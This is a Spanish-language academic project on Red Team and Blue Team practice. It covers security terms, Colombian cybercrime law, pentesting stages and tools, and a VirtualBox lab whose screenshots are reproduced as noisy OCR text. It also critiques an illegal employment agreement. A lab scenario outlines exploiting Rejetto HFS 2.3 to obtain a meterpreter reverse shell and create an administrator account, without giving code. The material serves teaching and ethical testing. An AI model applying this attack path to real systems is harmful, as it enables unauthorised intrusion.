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GLOSARIO

ACTIVO: Cualquier cosa que tiene valor para la organizacion. Existen varios tipos
de activos, como la informacion, software, infraestructura tecnologica, servicios,
las personas junto con sus conocimientos, habilidades y experiencia, o intangibles
como la reputacion o imagen de la empresa. Las marcas y la propiedad intelectual
también son ejemplos de activos.

ACTIVO DE INFORMACION: Conocimiento o datos que tienen valor para la
organizacion.

CONTENEDOR: Ubicacion donde los activos de informacion son almacenados,
procesados o transportados, en otras palabras, el lugar donde “vive” el activo de
informacion. Pueden ser clasificados en técnicos (hardware, software,
aplicaciones, servidores o redes), fisicos (archiveros) y humanos (personas que
tienen acceso a la informacion).

SEGURIDAD DE LA INFORMACION: disciplina responsable de sostener la
disponibilidad, confidencialidad e integridad de la informacion.

CONFIDENCIALIDAD: Propiedad de la informacién para ser accesible Unicamente
por los individuos, entidades o procesos que poseen los privilegios y la
autorizacion.

INTEGRIDAD: Propiedad de la informacion para mantener su exactitud vy
completitud.

DISPONIBILIDAD: Propiedad de la informacién para ser accesible y utilizable
cuando una entidad lo requiera.

SEGURIDAD INFORMATICA: es solo una parte del alcance de la disciplina de la

Seguridad de la Informacion, esté limitado al &mbito tecnolégico de la proteccion
de la informacion.

AUTENTICIDAD: Propiedad de una entidad para mostrar que es quien dice ser.

RESPONSABILIDAD: Rendicion de cuentas de una entidad por sus actos y
decisiones.

NO REPUDIO: Capacidad de probar la ocurrencia de un evento o accion realizada
por una entidad de origen.

FIABILIDAD: Propiedad de mantener la consistencia entre un comportamiento
previsto y sus resultados.



EVENTO DE SEGURIDAD: Ocurrencia identificada en un sistema, servicio o
estado de la red que indica una posible violacion de las politicas de seguridad, la
falla de los controles o una situacion previamente desconocida que puede ser
estar relacionada con la seguridad.

INCIDENTE DE SEGURIDAD: Evento o conjunto de eventos no deseados o
inesperados que tienen una probabilidad significativa de comprometer las
operaciones de la organizacion y amenazar la seguridad de la informacion.

VULNERABILIDAD: Debilidad en un activo o control que puede ser explotada por
una 0 mas amenazas.

AMENAZA: Causa potencial de un incidente no deseado, que puede resultar en
dafios a un sistema u organizacion.

ATAQUE: Intento de destruir, exponer, alterar, inutilizar, robar, obtener acceso no
autorizado o hacer uso indebido de los activos.

RIESGO: Efecto de la incertidumbre sobre los objetivos, es decir, sobre los
resultados especificos que se desean obtener.

OBJETIVO DE CONTROL: Enunciado que describe lo que se desea alcanzar
como resultado de la implementacién de controles.

CONTROL: Medida que modifica el riesgo.

SGSI: Proceso utilizado para identificar los activos criticos de una organizacion,
evaluar continuamente los riesgos de seguridad asociados a esos activos y aplicar
medidas de seguridad razonables para su proteccion, a través de un conjunto de
actividades aplicadas de manera coordinada y enmarcadas dentro un ciclo de
mejora continua.

ESTANDAR: la Real Academia Espafiola define estandar como un elemento que
sirve como tipo, modelo, norma, patron o referencia. De acuerdo con ISO
(“International Organization for Standardization”), se trata de un documento que
provee requisitos, especificaciones, guias 0 caracteristicas que pueden ser
utilizados de manera consistente, para asegurar que materiales, productos,
procesos y servicios son adecuados para su propaosito.



RESUMEN

El presente documento aborda conceptos basicos sobre los equipos RedTeam y
BlueTeam.

Se definen términos, tales como, seguridad de la informacion, las propiedades que
la conforman (confidencialidad, integridad y disponibilidad), vulnerabilidad,
amenaza, riesgos, probabilidad, impacto, control y objetivo de control dentro del
contexto del étical hacking, normas y leyes vigentes, para el desarrollo de pruebas
de penetracion a sistemas informéaticos.

También se definen los procesos y elementos que permiten conformar una
metodologia para pruebas de penetracion, desde un enfoque practico, como lo es,
el seminario especializado en equipos BlueTeam y Redteam.



INTRODUCCION

Las pruebas de penetracion a sistemas informéticos datan de los afios sesenta,
por los llamados Tiger Teams, dedicados a generar pruebas al interior de los
sistemas de gobierno y militares. ( Ridge Marketing, 2021)

Posteriormente en los afios noventa, estos Tiger Teams pasaron a dar origen a la
terminologia Hacking Etico. ( Ridge Marketing, 2021)

Hoy en dia, son escasas las pruebas de penetracion, realizadas por terceros de
manera manual y su evolucion ha sido lenta con el pasar de los afos. ( Ridge
Marketing, 2021)

De alli la importancia de conocer la mejor practica (acciones, metodologias,
herramientas y técnicas) que actualmente se estan aplicando y probando en el
mundo en pro de llevar a un nivel mas alto la seguridad de la informacion de las
organizaciones.

El presente documento pretende ser una guia para conocer las capacidades
técnicas, legales y de gestidén para equipos Blue Team Y Red Team, en &mbitos de
aplicacion del Hacking Etico en organizaciones que buscan niveles de seguridad
Optimos bajo los tres principios basicos de la seguridad en la informética:
disponibilidad, integridad y confidencialidad.
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1. OBJETIVOS

1.1 GENERAL

Planificar estrategias basadas en metodologias de ciberseguridad defensivas y
ofensivas, que permitan hacer frente a un evento o incidente informético en
una infraestructura TI, teniendo presente el cumplimiento de normas éticas y
legales con el fin de mejorar el esquema de ciberseguridad de una
organizacion.

1.2 ESPECIFICOS

e Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.

e Demostrar vulnerabilidades en un sistema informatico a partir del uso de
metodologias y técnicas de intrusion.

e Formular estrategias de contencibn mediante el andlisis de riesgos y
vulnerabilidades en una infraestructura TI.

14



2. PLANTEAMIENTO DEL PROBLEMA

2.1 DEFINICION DEL PROBLEMA

Hoy en dia, el activo de mayor valor para muchas organizaciones es la
informacion y en tal sentido asumen una significativa importancia las acciones
tendientes a garantizar su permanencia en el tiempo con un nivel de acceso
controlable y seguro, ya que contribuye a facilitar el logro de los objetivos y la
mision en las diferentes organizaciones, mediante el manejo de grandes
volumenes de informacion; las empresas publicas, privadas y mixtas, al igual que
la gran mayoria de las personas, necesitan de las tecnologias de la informacion y
comunicacion, ya que son una herramienta esencial que facilita los procesos de
negocio y las actividades cotidianas en la oficina y en el hogar.

Lo que conlleva a involucrarse con una gran variedad de riesgos, amenazas y
vulnerabilidades de los sistemas informaticos. La seguridad informética hace
referencia a la proteccion de los activos de informacion fundamentales para el
éxito de cualquier organizacion. Los elementos de proteccion digital surgen como
herramientas en este contexto, logrando que la informacién al interior de las
organizaciones preserve su confidencialidad, integridad y disponibilidad, todo esto
gracias al conocimiento, gestidn y minimizacion de los posibles riesgos que
atentan contra la seguridad de la informacion.

Por este hecho es importante la identificacion de los factores de riesgo, tanto
internos como externos, que pueden significar un factor de amenaza contra los
tres principios basicos de la seguridad de la informacién empresarial, y a partir de
ello buscar las mejores alternativas para el aseguramiento de un entorno de
trabajo fiable.

En el caso practico de estudio “Whitehouse Security”, al igual que en muchas de
las empresas colombianas, no se cuenta con un proceso sistematico,
documentado y de conocimiento por parte de todos los miembros de la
organizacion, que permita la preservacion de la confidencialidad, integridad y
disponibilidad de la informacion al interior de sus procesos desde un enfoque de
riesgo empresarial. Se generan fases o escenarios donde se pretende el
reclutamiento para los equipos Blue Team y Red Team, mediante el conocimiento
guiado de los procesos para llevar a cabo pruebas de penetracion y Hacking Etico.

Este proceso debe contar las medidas técnicas, humanas y organizativas
necesarias para garantizar la continuidad del negocio y de las operaciones de la
comparfia en situaciones de riesgo que suspenda parcial o totalmente su
operacion, por lo tanto, ¢Es necesario conocer las capacidad técnicas, legales y
de gestion para equipos Red Team y Blue Team?, como una solucion eficiente
para la proteccion de los activos de informacién del negocio, ya que se requiere
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conocer, gestionar y minimizar los posibles riesgos que atenten contra la
seguridad de la informacion al interior de la organizaciones.

16



3. JUSTIFICACION

Los Equipos Blue Team y Red Team, generan desde un proceso multidisciplinar
investigacion que permiten poner en evidencia los riesgos informaticos al interior
de los sistemas de informacion que representen relevancia en las organizaciones.

Porque mediante la aplicacion de pruebas de penetracion, hacking ético de
caracter interno y externo, se realizan hallazgos de la necesidad del uso de
controles que mitiguen las vulnerabilidades encontradas y a su vez permitan
realizar investigacion forense cuando se materialicen estas vulnerabilidades.

Aportando a los sistemas de gestion de la seguridad de la informacion desde la
normatividad legal vigente y de reconocimiento internacional; ya que el volumen
de informacién es a diario mayor y exige no escatimar esfuerzos en pro de
fortalecer los niveles de disponibilidad, confidencialidad e integridad de la
informacion, obligando asi, a las organizaciones a involucrar dentro de su cultura
organizacional, la definicién, gestion y evaluacién de estrategias se seguridad de
la informacion a través de la conformacion de equipos Blue Team y Red Team.

Y de igual manera, para que en la empresa “Whitehouse Security”, tenga claridad

para la implementacion de equipos Red Team y Blue Team con un enfoque no solo
en capacidades técnicas sino de marco legal y gestién.

17



4. MARCO REFERENCIAL

4.1 MARCO LEGAL DELITOS INFORMATICOS Y PROTECCION DE
DATOS PERSONALES

Investigando el contexto vigente de la legislacion colombiana referente a delito
informatico y proteccion de datos personales tenemos:

4.1.1 Ley 1273 de 2009:

Esta ley modifica el codigo penal, en el articulo 53 dando como agravante el
uso de medios informaticos, electronicos o telematicos para la realizacion de
conductas punibles a los delitos, tales como:

Obstaculizacion ilegitima de sistema informéatico.

Interceptacion de datos informéaticos.

Dafio informatico.

Uso de software malicioso.

Violacién de datos personales.

Suplantacion de sitios web para capturar datos personales. (Phishing)
Hurto por medios informéticos y semejantes.

Transferencia no consentida de activos.

Esta ley incluye un capitulo de proteccion de la informacion y de los
datos. (Acufia-Gamba, y otros, 2017)

4.1.2 Ley 1581 de 2021:

Esta ley se aplica a los datos personales que se registren en bases de datos o
archivos de entidades publicas o privadas. Regula la recoleccion,
almacenamiento, uso, circulacién o supresién de datos personales registrados
en dichos medios digitales, electronicos o telematicos. (Comercio, 2016)
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42 MARCO  CONCEPTUAL  CIBERSEGURIDAD: PRUEBAS DE
PENETRACION (PENTESTING)

En el mundo de la ciberseguridad existen procesos definidos para poder
ejecutar de forma organizada lo que se conoce como pruebas de penetracion o
pentesting; usted como futuro experto deberd redactar con sus palabras y
definir cada una de las etapas del pentesting, dentro de la definicion
incorporara un ejemplo de una herramienta que se utilice para cada una de las
etapas del pentesting.

El pentesting es la fusién de dos palabras del inglés: “penetration” y “testing”,
las pruebas de penetracion son una técnica o practica consistente en generar
de manera controlada atagues a ambientes o sistemas con la finalidad de
encontrar y prevenir de amenazas que pudiesen materializarse, convirtiendo
asi en riesgo informatico. (Romero, y otros, 2019)

4.2.1 Etapas del proceso de pentesting (Romero, y otros, 2019)

4.2.1.1 Descubrimiento y Enumeracion

Consisten en determinar la auditoria, el pen tester evaluara la informacién con
gue cuenta y que tipo de pen testing realizara. Eleven Paths FOCA es una
herramienta para la busqueda de metadatos e informacion oculta en
documentos.

42.1.2 Andlisis de vulnerabilidades

Consiste en la recogida de informacion, mediante pruebas para determinar
vulnerabilidades o fuga de informacion. Utilizara varias herramientas y valorara
aspectos claves del entorno y los comportamientos de los usuarios. NMAP es
una herramienta que permite realizar exploracion y busqueda de
vulnerabilidades.

4.2.1.3 Explotacion

Consiste en el acceso al sistema, después de recolectar la informacion y de
tener el plan de como se debera actuar se organizan los ataques y se
mantiene el acceso al objetivo del ataque. Metasploit Framework permite
realizar pruebas de penetracion y una extensa auditoria de seguridad.

19



42.1.4 Informe

La elaboracion del informe presenta el alcance, el impacto de los fallos de
seguridad atacados con las recomendaciones para minimizar o suprimir estas
vulnerabilidades.

4.2.2 Herramientas De Ciberseguridad

Las herramientas de ciberseguridad son de vital importancia, ademas que
existe un gran abanico de posibilidades de herramientas existentes y software
especializado para desarrollar herramientas propias. Usted como futuro
experto debe definir y explicar las siguientes herramientas:

4.2.2.1 Herramientas

e Metasploit: Es una herramienta como resultado de un proyecto de cédigo
abierto para la seguridad informética. Permite obtener informacion de
vulnerabilidades y permite realizas pruebas de penetracion.

e Nmap: Es una herramienta para rastreo de puertos para descubrir servicios
0 servidores, su operacion consiste en el envio de paquetes definidos y
analiza las respuestas a los mismos.

e OpenVAS: Es una herramienta que permite el escaneo de vulnerabilidades.
(Seguridad en la Red: escaner de vulnerabilidades OpenVAS, 2012)

4.2.2.2 Servicios En Linea
e Exploit DB: Es un archivo de exploits con fines de seguridad publica,

permite identificar vulnerabilidades en su red de datos.

e CVE (Vulnerabilidades y Exposiciones Comunes): Es un diccionario con
el propésito de propiciar la distribucion de datos en bases de datos de
vulnerabilidades y herramientas de seguridad informéatica.

20



5. METODOLOGIA

La metodologia empleada en este proyecto de grado se basa en la realizacion de
un conjunto de escenarios practicos que permitan la realizacion de cada uno de
los objetivos trazados.

Se realizara un proceso documental con el fin de planificar estrategias basadas en
metodologias de ciberseguridad defensivas y ofensivas, que permitan hacer frente
a un evento o incidente informético en una infraestructura TI, teniendo presente el
cumplimiento de normas éticas y legales con el fin de mejorar el esquema de
ciberseguridad de una organizacion.

El trabajo se fundamentara en la recopilacion de informacion, experiencias,
criterios y normativas nacionales e internacionales que permitan conocer los
avances obtenidos, hasta ahora, referentes a capacidades técnicas, legales y de
gestion para equipos Blue Team y Red Team.
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6. ESCENARIO 1 BANCO DE TRABAJO

Este resumen muestra el reconocimiento, analisis y configuracion del “banco de
trabajo” Escenario 1 sobre el cual se trabajaran actividades que contienen un alto

grado de tecnicidad.

6.1 HERRAMIENTA DE VIRTUALIZACION “VIRTUALBOX”

ORACLE Se realiza instalacion de la herramienta
de virtualizacion Oracle VM VirtualBox
en su version 6.1 en entorno Windows

10 x64.

VirtualBox

6 o 1
rio de VirtualBox

Interfaz Gréfica de Usuario de al
Version 6.1.26 r145957 (Qt5.6.2)
Copyright © 2021 Oracle Corporation and/or its affiiates. Allrights reserved.

Cerrar

Se descargan de la carpeta| | kei-seminsrioova 2
compartida en linea los OVA para | ¥ win7-se000va 2
H P4 A H H W# Win7-SE2020-X64.0va 2
importacion de maquinas virtuales.

Tabla 1 VirtualBox - Entorno de Virtualizacion
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6.2 COMUNICACION ETHERNET MV KALI LINUX Y MVs WINDOWS DEL
ESCENARIO

p-] root@kali: ~
File Actions Edit View Help
e ~
addr
1: <LOOPBACK,UP, LOWER_UP> mtu 65536 gqdisc noqueue state UNKNOWN group def
ault glen 1000
link/loopback ©0:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host
valid_1lft forever preferred_lft forever
23 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast state UP
group default glen 1000
link/athor 08R:00:27:0 fd brd ff:ff:ff:ff:ff:FF
inet /24 b scope global dynamic noprefixro
ute etnv
valid_1ft 86374sec preferred_lft 86374sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

g 192.168.19.104
PING 192.168.19Y.104 (192.168.19.104) 56(84) bytes of data.
64 bytes from 192.168.19.104: icmp_seq=1 ttl=128 time=0.401 ms
64 bytes from 192.168.19.104: icmp_seq=2 ttl=128 tim .715 ms
64 bytes from 192.168.19.104: icmp_seq=3 ttl=128 time=0.882 ms

192.168.19.104 ping statistics -—
3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.401/0.666/0.882/0.199 ms

e ~
0

B Administrador: C:\Windows'system32\cmd.exe

Microsoft Windows [Version 6.1.76811]
Copyright <c> 280? Microsoft Corporation. Reservados todos los derechos.

IC:~Userssusuarior>ipconfig

Configuracidn IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. .

Uinculo: direccidn IPub local. . . = felT

Direccidn IPvd4. . . . . . . . . 192.168.1%.184
Mascara de subred . . - £9D.£DD.4DD .

o
Puerta de enlace predetermlnada - 192.168.19.254
Adaptador de tidnel isatap.www.tendawifi.com:

Estado de los medios. . . - medios desconectados
Sufijo DNS especifico para “1a conexidn. . wv . tendawifi.com

C:sUserssusuariorping 192.168.19.118

Haciendo ping a 192.168.19.118 con 32 bytes de datos:
Respuesta desde 192.168.19.118: hytes=32 tiempo=ims TTL=64
Respuesta desde 192.168.19.11 hyteg—32 tiempo<{im TT 64
Respuesta desde 192 _168.19 .11 =32 tiempo<{im TT
Respuesta desde 192.168.19.118: hyteg—32 tiempo<im TTL= 64

Eztadisticas de ping para 192.168.19.118:
Paguetes: enviados = 4, recibidos = 4. perdidos = 8
{@x perdidos).
Tlempo“ aprox1mado“ de 1da y vuelta en milisegundos:
Minimo Bms,. Maximo ims, Media = Bms

C:sUserssusuarior

Figura 1 Comunicacion entre equipos de la simulacion

Se configuro la red para tener ping entre los equipos del Escenario 1.
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Kali Linux Recibe IP de red local 192.168.19.104/24 ping exitoso a equipo
Windows 7 SE2020-X64 192.168.19.104/24 y desde el equipo Win7
SE2020-X64 hacia Kali Linux.

BN N\ Windows\system32tcmd.exe

Microsoft Windows [Version 6.1.76601
Copyright (c)> 2809 Microsoft Corporation. Reservados todos los derechos.

IC=\Users‘usuario>ipconfig

Configuracidn IP de Windows

fidaptador de Ethernet Conexidn de Area local:

Sufijo DMS especifico para la conexidn.
Uinculo: direccidén IPu6 local. . . : feB
Direccidn IPuv4. . . . . . . .

Mascara de subred . . . . . . .

Puerta de enlace predeterminada . .

Ndaptador de tanel isatap.www.tendawifi.com:

Estado de los medios. . . . . . . . . . . ¢ medios desconectados
Sufijo DMS especifico para la conexidn. . : www.tendawifi.com

C:sUserssusuario>ping 172.168.1%.118

Haciendo ping a 192.168.19.118 con 32 bytes de datos:

Respuesta desde 192 .168.19.118: hytes=32 tiempo=2ms TTL=64
BRezpuesta desde 192.168.1%.118: bytes=32 tiempo<im TTL=64
Respuesta desde 192 .168_.19.118: hytes=32 tiempo<im TT 4
Respuesta desde 192.168.19.118: hytes=32 tiempo<im TTL=64

ESLAULSLILAS UE PAlY para 172.L00-17.11e-
Paguetes: enviados = 4. recihidoz = 4. perdidos
(@ perdidos).

Tiempos aproximados de ida v vuelta en milisegundos
Minimo = Bms. Maximo = 2Zms. Media = Bms

IC-sUserssusuarior

64 bytes trom 192.168.19.104: 1cmp_seq=3 ttl=128 t1me=0.88§ ms
2
-—- 192.168.19.104 ping statistics -——

3 packets transmitted, 3 received, 0% packet loss, time 2028ms

rtt min/avg/max/mdev = 0.401/0.666/0.882/0.199 ms

® ~
g 192.168.19.114

PING 192.168.19.114 (192.168.19.114) 56(84) bytes of data.

64 bytes from 192.168.19.114: icmp_seq=1 ttl=128 time=0.628 ms

64 bytes from 192.168.19.114: icmp_seq=2 tt 28 time=0.554 ms

64 bytes from 192.168.19.114: icmp_seq=3 ttl=128 time=0.475 ms

--- 192.168.19.114 ping statistics ——
3 packets transmitted, 3 received, packet loss, time 2043ms
rtt min/avg/max/mdev = 0.475/0.552/0.628/0.062 ms

@ ~

Figura 2 Comunicacion entre equipos de la simulacién

Se igual manera se tiene comunicacion bidireccional entre Kali Linux y la
maquina virtual de Windows-7 x86, con IP 192.168.19.114
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6.3 HARDWARE DE LOS EQUIPOS VIRTUALES DEL ESCENARIO 1

6.3.1 Kali Linux

@ General

Mombre: KaliLinux-2021. 2-seminario
Sistema operativa:  Debian (54-bit)

IE‘ Sistema

Memaria base: 2048 MB

Procesadores: 2 i

Orden de arrangue:  Disco duro, Optica
Aceleradon: WT-x/AMD-V, Paginacion anidada, PAE /MY, Paravirtualizacion KvM
[ Ppantalla

Memoria de video: 128 ME
Controlador grafico: YMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabadion: Inhabilitade

Almacenamiento

Controlador: IDE
IDE secundario maestro:  [Unidad dptica] Vacio
Controlador: SATA

Puerto SATA 0 KaliLinux-2021, 2-virtualbox-amds4-disk00 1.vdi (Narmal, 80,00 GE)
o Audio
Controlador de anfitrién:  Windows DirectSound
Controlador: ICH ACS7
EF Red

Adaptador 1: Intel PROS1000 MT Desktop (Adaptador puente, «Qualcomm QCAS377 802. 11ac Wireless Adapters)

(5 uss

Controlador USE: OHCI, EHCI
Filtros de dispositivos: 0 (0 activo)

|:| Carpetas compartidas
Minguno
@ Descripcion

Kali Rolling (2021.2) x64
2021-05-31

Figura 3 Hardware Equipo KaliLinux
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6.3.2 Windows 7 X86

=] General
Nombre: win7-SE2020
Sistema operativo:  Windows 7 (64-bit)
IE‘ Sistema

| Memoria base: 4096 ME
Procesadores: 4
Orden de arranque:  Disquete, Disco dura
Aceleracidn; VT-%/AMD-V, Paginacion anidada, Paravirtualizacidn Hyper-V
] Pantalla
Memaria de video: 128 MB
Controlador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA O: win7-5E2020-disk00 1. vdi (Mormal, 50,00 GB)

o Audio

Controlador de anfitrion:  Windows DirectSound
Controlador: Audio Intel HD

= Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, «Qualcomm QCAS377 802. 11ac Wireless Adapters)

(5 usB

Controlador USE: OHCI
Filtros de dispositivos: 0 (0 activo)

Ij Carpetas compartidas
MNinguno
@ Descripcidn

Minguno

Figura 4 Hardware Equipo 32 Bits
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6.3.3 Windows 7 X64

[=] General

Mombre: Win7-5E2020-X54
Sistema operativo:  Windows 7 (64-bit)
Grupos: ESI Seqg. DB

@ Sistema

Memaria base: 4096 MB

Orden de arrangque:  Optica, Disco dure
Aceleradon: WT-x/AMD-V, Paginacion anidada, Paravirtualizacion Hyper-V
[H] Pantalla

Memoria de video: 18 MB
Contrelador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA Q: Win7-5E2020-%64-disk00 1. vdi (Mormal, 50,00 GB)
Puerto SATA L: [Unidad dptica] VBoxGuestAdditions.iso (58,24 MB)

o Audio

Controlador de anfitridn:  Windows DirectSound

Controlador: Audio Intel HD

= Red

Adaptador 1:  Intel PRO/1000 MT Desktop {Adaptador puente, «Qualcomm QCAS377 802, 11ac Wireless Adapters)
(5 uss

Contrelador USB: OHCI, EHCI

Filtros de dispositivos: 0 (D activo)
|:| Carpetas compartidas
Minguno

';7—5_) Descripcidn

Minguno

Figura 5 Hardware Equipo 64 bits
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7. PROCESO ILEGAL Y NO ETICO ACUERDO WHITEHOUSE SECURITY -
CANDIDATO

7.1 ANALISIS DOCUMENTAL: ACUERDO Y SITUACION DEL PROBLEMA

Después de analizar el documento anexo 2, situacion del problema: Analisis
Legal. Se tienen los siguientes elementos como soporte evidencia de la
existencia de proceso ilegal o falta a la ética profesional:

v' El contrato fue elaborado por un abogado que ya no labora con la
organizacion y fue despedido por encontrar algunos procesos ilicitos.
(ECBTI Escuela de Ciencias Bésicas, 2020)

v La alta gerencia no reviso los contratos con los que reclutara el nuevo
personal. (ECBTI Escuela de Ciencias Bésicas, 2020)

Teniendo en cuenta las anteriores afirmaciones se debe tener presenté que el
proceso inicia con vacios legales y un antecedente de despido de un abogado
gue por evidenciar procesos ilicitos fue despedido.

Adicionalmente, la revision del Acuerdo de Confidencial complementa la
evidencia de proceso ilegal o falta a la ética profesional:

» Adicional a la informacion confidencial, la parte receptora, se obliga a no
divulgar sobre procesos ilegales dentro de Whitehouse Security. (ECTBI
Escuela de Ciencias Basicas, 2020)

= Definen informacién confidencial como datos secretos “datos de
chuzadas”, interceptacién de informacion, accesos abusivos a sistemas
informaticos. (ECTBI Escuela de Ciencias Basicas, 2020)

= EIl origen de la informacion confidencial puede provenir de fuentes no
confiables o sin soporte y sin que requiera advertir su caracter
confidencial. (ECTBI Escuela de Ciencias Basicas, 2020)

= Se obliga a la parte receptora a no denunciar antes las autoridades
actividades sospechosas de espionaje o cualquier otro proceso en el
cual intervenga la apropiacion de informacion de terceros, adicional,
denunciar y publicar la informacion confidencial e ilegal. (ECTBI Escuela
de Ciencias Basicas, 2020)
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» La parte receptora deberd responder ante las autoridades competentes
como responsable en caso de que la informacién se encuentre en su
poder dentro de un proceso de allanamiento, acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a
Whitehouse Security. (ECTBI Escuela de Ciencias Basicas, 2020)

Este acuerdo reafirma procesos ilegales al interior de la organizacion y habla de
como la informacion confidencial se genera violando las leyes vigentes y
adicional compromete al contratista como responsable en caso de ser allanado
o judicializado, sin apoyo legal a la defensa y obligando a dejar exente a la
organizacion de responsabilidad legal y penal.

7.2 VIOLACION A LA LEY 1273 DE 2009 EN EL ACUERDO WHITEHOUSE
SECURITY
(Acufa-Gamba, et al., 2017)

7.2.1 Articulo 269C: Interceptacion de datos informaticos.

El acuerdo define informacién confidencial como datos secretos “datos de
chuzadas”, interceptacion de informacion, accesos abusivos a sistemas
informaticos. (ECTBI Escuela de Ciencias Basicas, 2020)

7.2.2 Articulos 269F: Violacion de datos personales y articulo 269G:
Suplantacion de sitios web para capturar datos personales

El origen de la informacion confidencial puede provenir de fuentes no confiables
0 sin soporte y sin que requiera advertir su caracter confidencial. (ECTBI
Escuela de Ciencias Basicas, 2020)

7.3 COMO EXPERTO APLICARIA A EL TRABAJO EN THE WHITEHOUSE

Teniendo en cuenta el analisis donde se evidencia ilegalidad y el acuerdo es
directo y responsabiliza de los actos al colaborador, NO aceptaria este empleo,
ya que la ética profesional en este tipo de actividades es primordial, y el solo
hecho de estar bien pago, no garantiza que a futuro tengas que ser juzgado
legal y penalmente por obligaciones de la organizacién que te contrate e
inclusive perder la tarjeta profesional y, por lo tanto, el no ser contratado
nuevamente.
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8. OPERACION ANDROMEDA BUGGLY
(ENTER.CO, 2015)

El ejército colombiano llevo a cabo esta operacién de inteligencia, con el proposito
de reclutar hackers civiles, y obtener de ellos transferencia de conocimientos y
entender como aplicar técnicas de hacking ético, pero en el fondo se fue
convirtiendo en dominios de informacién confidencial que, a su vez, por el grado
de importancia de esta, fueron influenciados y pasar de ético a ilegal con fines de
enriquecimiento.

Iniciaron realizando interceptacién de computadoras, méviles y bases de datos del
ejercito que después fueron comercializadas con fines no determinados.

Este escenario, pone en vilo la labor del hacking ético, ya que la riqgueza de la
informacion puede ocasionar que todos los principios éticos sean abandonados y
transformados en un hacker que viola las leyes con el propédsito de obtener
provecho de los recursos de informacion que pueda capturar.

De alli, importante reflexionar esta labor que, si bien es muy importante para poner
en evidencias las vulnerabilidades de nuestros sistemas informaticos, se debe
llevar a cabo con mucha responsabilidad, con conocimiento del marco legal y con
principios éticos de la profesion como los emanados por el COPNIA para los
ingenieros en Colombia.
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9. INFORME DE HERRAMIENTAS Y PROCEDIMIENTOS

9.1 DESCUBRIMIENTO Y ENUMERACION

Se reporta una serie de fuga de informacion dentro de una organizacion, se ha
identificado uno de los equipos en red de una dependencia como posible
sospechoso de permitir la fuga de informacion a través de una aplicacion
instalada denominada Rejetto HFS 2.3, la cual tiene vulnerabilidades
reportadas conocidas y la cual tiene asociado Esploit que pueden terminar en la
apertura de una consola reversa con sesion abierta desde meterpreter.

En esta investigacion adicional a la fuga de informacion se tiene un
escalamiento por privilegios de usuario, la cual, se derivd de la creacion de un
usuario administrador del sistema operativo.

El equipo forense genera una copia del servidor, con la cual se emula este
escenario, ver ilustracion 1., y se tiene como objetivo validar la falla de
seguridad y si esta explotada se debera crear un usuario con su primer nombre
y apellido, el usuario debera ser de tipo administrador, para asi poner en
evidencia mediante una PoC los resultados, a la direccion de la compadia.

REJETTO

HFS 2.3 REJETTO
HFS 2.3
HTTP
HTTP
PORT: 8020
- - FORT.80
WINDOWS 7 X286 WINDOWS 7 X64
192.168.19.114/24 192.168.19.111/24
@%
;». ‘
LAN INTERNA
;o

KALI-LINUX
192.168.19.110/24

Figura 6 Infraestructura Escenario 3
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9.1.1 Equipos En Ambiente Emulado

9.1.1.1 Servidor Entregado En Custodia Por El Equipo Forense

Recurso Virtual:  Win-7SE2020-X64

Hw/Sw Capacidad Observaciones
CPU 1X 2.4Ghz

RAM 1X 4Gb

HDD 1X 50Ghb

SO Windows 7 64 bits

Tabla 2 Servidor Sospechoso

9.1.1.2 Equipo Auditoria Para Pruebas de Penetracion

Recurso Virtual:  Kali-Linux-2021.2-seminario

Hw/Sw Capacidad Observaciones
CPU 1X 2.4Ghz

RAM 1X 2Gb

HDD 1X 80Gh

SO Debian64 Kali-Linux2021

Tabla 3 Equipo Auditoria Debian64

9.1.1.3 Servidor Pruebas 32 Bits

Recurso Virtual:  Win-7SE2020

Hw/Sw Capacidad Observaciones
CPU 1X 2.4Ghz

RAM 1X 4Gb

HDD 1X 50Gb

SO Windows 7 32 bits

Tabla 4 Equipo Pruebas Windows 7 32 Bits
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9.2 ANALISIS DE VULNERABILIDADES

9.2.1 Firewall de Windows y Windows Defender

Se tiene como primer hallazgo el estado inactivo del Firewall de Windows y la
herramienta Windows Defender, adicionalmente no se cuenta con otra
herramienta antivirus o antimalware que supla estas funcionalidades.

D) [ <« Todos los elementos de Panel de control » Firewsll de Windows ~ [ 44 ]| Buscoren =
ntana principal del Panel de

ntrol Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado cbtengan acceso al

rritir un programa o una A
prog través de Internet o de una red.

"acteristica a través de

ewall de Windows ;Cémo me ayuda un firewall a proteger mi equipo?
mbiar la configuracién de :Qué son las ubicaciones de red?
tificaciones

fivar o desactivar Firewall de Actualizar configuracion de firewall

ndows Firewall de Windows no esta usando la
configuracion recomendada para proteger el

| ! Usar la configuracion recomen

staurar valores

=determinados squipo.
nfiguracién avanzada :Cudl es la configuracién recomendada?
ucion de problemas de red

ambié l @I Redes domeésticas o de trabajo (privadas) No canect
ntro de actividades . @I Redes pL’Jb“CaS Coned
ntro de redes y recursos .
mpartides Redes en lugares pliblicos como aeropuertos o cafeterias

hdaptador de Ethernet Conexidn de drea local:

SllflJu DHS e.;peclflcu para la cnnexmn
Uinculo: direccidn IPub local. f
Direccidn IPuv4. .

Mascara de subred .

Puerta de enlace pim

Figura 7 Firewall Windows Inactivo

I [B + Panel de control » Todos los elementos de Panel de control » ~[+][ 8 contra
Ajustar la configuracién del equipo Verpor:  Iconos pequefios =
B Centro de movilidad de Windows 5% Centro de redes y recursos comparti.. (8 Centro de sincronizacién
%5 Conexién de Remotedpp y Escriteric & Configuracién regienal y de idioma # Control parental
'&' Copias de segurid. - = impresoras

Fechay hora 4 Windows Defender ==

[ Gadgets de escritori administrativas

